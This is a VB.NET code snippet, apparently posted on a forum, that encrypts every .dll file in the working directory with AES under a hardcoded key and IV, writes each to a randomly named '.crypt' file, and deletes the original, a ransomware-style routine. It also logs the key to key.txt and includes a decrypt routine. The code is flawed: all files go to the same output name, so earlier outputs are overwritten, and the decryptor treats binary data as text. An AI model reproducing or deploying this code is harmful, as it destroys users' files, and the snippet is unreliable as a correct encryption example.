Code: Select all
Private Sub EncryptWithAES(ByVal sInput As String, ByVal sNewFile As String, ByVal sKey As String, ByVal sIV As String)
Dim aes As New AesCryptoServiceProvider
aes.KeySize = 256
aes.Key = ASCIIEncoding.ASCII.GetBytes(sKey)
aes.IV = ASCIIEncoding.ASCII.GetBytes(sIV)
Dim key As String = UnicodeEncoding.UTF8.GetString(aes.Key)
Dim iv As String = UnicodeEncoding.UTF8.GetString(aes.IV)
Dim strwriter As StreamWriter
strwriter = My.Computer.FileSystem.OpenTextFileWriter("key.txt", True)
strwriter.Write("Encryption Key: " + key & vbNewLine + "Intialisation Vector(IV): " + iv)
strwriter.Close()
Dim fstr1 As New FileStream(sInput, FileMode.Open, FileAccess.Read)
Dim encstr As New FileStream(sNewFile, FileMode.Create, FileAccess.Write)
Dim aescrypt As ICryptoTransform = aes.CreateEncryptor()
Dim cryptstream As New CryptoStream(encstr, aescrypt, CryptoStreamMode.Write)
Dim bytearray(fstr1.Length - 1) As Byte
fstr1.Read(bytearray, 0, bytearray.Length)
cryptstream.Write(bytearray, 0, bytearray.Length)
cryptstream.Close()
fstr1.Close()
My.Computer.FileSystem.DeleteFile(sInput)
End Sub
Private Sub DecryptAES(ByVal sEncrypted As String, ByVal sDecrypted As String, ByVal sPassword As String, ByVal IntialVector As String)
Dim aes As New AesCryptoServiceProvider
aes.KeySize = 256
aes.Key() = ASCIIEncoding.ASCII.GetBytes(sPassword)
aes.IV = ASCIIEncoding.ASCII.GetBytes(IntialVector)
Dim fstr1 As New FileStream(sEncrypted, FileMode.Open, FileAccess.Read)
Dim desdecrypt As ICryptoTransform = aes.CreateDecryptor()
Dim decryptstream As New CryptoStream(fstr1, desdecrypt, CryptoStreamMode.Read)
Dim fsDecrypt As New StreamWriter(sDecrypted)
fsDecrypt.Write(New StreamReader(decryptstream).ReadToEnd())
fsDecrypt.Flush()
fsDecrypt.Close()
End Sub
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Timer1.Start()
Dim sKey As String
sKey = GenerateKey()
Dim s As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
Dim r As New Random
Dim sb As New StringBuilder
For i As Integer = 1 To 8
Dim idx As Integer = r.Next(0, 35)
sb.Append(s.Substring(idx, 1))
Next
Dim path As String = Directory.GetCurrentDirectory
Dim sKey1 As String = GenerateRandom()
For Each filePath In Directory.GetFiles(path, "*.dll")
EncryptWithAES(filePath, sb.ToString() + ".crypt", "'W\AAT*3b^e7(n.rqz[U7SK_WC-q~G#k", "3:/ren>WVt$y4CYy")
Next
End Sub